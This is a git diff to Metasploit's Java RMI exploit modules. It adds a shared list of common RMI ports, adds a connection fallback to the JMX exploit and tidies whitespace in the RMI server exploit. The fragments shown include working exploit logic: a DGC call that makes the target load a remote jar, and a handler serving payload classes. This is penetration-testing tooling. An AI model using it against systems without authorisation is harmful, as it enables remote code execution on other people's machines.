diff --git a/lib/msf/core/exploit/java/rmi/util.rb b/lib/msf/core/exploit/java/rmi/util.rb index 17757c6177..8371b711f0 100644 --- a/lib/msf/core/exploit/java/rmi/util.rb +++ b/lib/msf/core/exploit/java/rmi/util.rb @@ -119,6 +119,21 @@ module Msf {address: address, port: port, object_number: object_number, uid: uid} end + # Register ports and services for autofilter support + # + def register_common_rmi_ports_and_services + register_autofilter_ports([ + 999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900, + 2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085, + 8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005, + 9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999, + 10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000, + 17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500, + 50501, 50502, 50503, 50504 + ]) + register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry }) + end + end end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b91e3433d2..5c1f979d8e 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ], self.class) - + register_common_rmi_ports_and_services end def on_request_uri(cli, request) @@ -141,7 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end - connect(true, { 'RPORT' => mbean_server[:port] }) + # First try to connect to the original RHOST, since the mbean address may be inaccessible + begin + connect(true, { 'RPORT' => mbean_server[:port] }) + rescue Rex::ConnectionError + # If that fails, try connecting to the listed address instead + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + end + unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 884da1bd96..600173018c 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', 'Description' => %q{ This module takes advantage of the default configuration of the RMI Registry and - RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it + RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every - RMI endpoint, it can be used against both rmiregistry and rmid, and against most other + RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do - not support remote class loading, unless another RMI endpoint is active in the same + not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. @@ -32,14 +32,14 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ # RMI protocol specification - [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], # Placeholder reference for matching - [ 'MSF', 'java_rmi_server'] + [ 'MSF', 'java_rmi_server'] ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, - 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { @@ -82,29 +82,27 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ Opt::RPORT(1099), - OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), - ], self.class) - - register_autofilter_ports([ 1098, 1099 ]) - register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry }) + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + ], self.class) + register_common_rmi_ports_and_services end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error - # When the server stops due to our timeout, re-raise + # When the server stops due to our timeout, re-raise # RuntimeError so it won't wait the full wfs_delay - raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" rescue Msf::Exploit::Failed - # When the server stops due primer failing, re-raise + # When the server stops due primer failing, re-raise # RuntimeError so it won't wait the full wfs_delays - raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" - rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e # When the primer fails due to an error connecting with - # the rhost, re-raise RuntimeError so it won't wait the + # the rhost, re-raise RuntimeError so it won't wait the # full wfs_delays - raise ::RuntimeError, e.message + raise ::RuntimeError, e.message end end @@ -119,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote send_header ack = recv_protocol_ack if ack.nil? - fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end jar = rand_text_alpha(rand(8)+1) + '.jar' @@ -143,45 +141,45 @@ class Metasploit3 < Msf::Exploit::Remote # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) - # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, uid_time: 0, uid_count: 0, operation: 0, - hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash + hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash arguments: build_dgc_clean_args(new_url) ) return_value = recv_return if return_value.nil? && !session_created? - fail_with(Failure::Unknown, 'RMI Call failed') + fail_with(Failure::Unknown, 'RMI Call failed') end if return_value && return_value.is_exception? && loader_disabled?(return_value) - fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end if return_value && return_value.is_exception? && class_not_found?(return_value) - fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect end - def on_request_uri(cli, request) + def on_request_uri(cli, request) if request.uri =~ /\.jar$/i p = regenerate_payload(cli) jar = p.encoded_jar paths = [ - [ "metasploit", "RMILoader.class" ], - [ "metasploit", "RMIPayload.class" ], + [ "metasploit", "RMILoader.class" ], + [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, MetasploitPayloads.path('java')) + jar.add_files(paths, MetasploitPayloads.path('java')) - send_response(cli, jar.pack, + send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', @@ -236,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote new_array_super.description = Rex::Java::Serialization::Model::NullReference.new new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') new_array_desc.serial_version = 0x871300b8d02c647e new_array_desc.flags = 2 new_array_desc.fields = [] @@ -252,16 +250,16 @@ class Metasploit3 < Msf::Exploit::Remote new_array.array_description = array_desc arguments << new_array - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') new_class_desc.serial_version = 0xa16544ba26f9c2f4 new_class_desc.flags = 2 new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new @@ -274,7 +272,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments << new_object - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") arguments end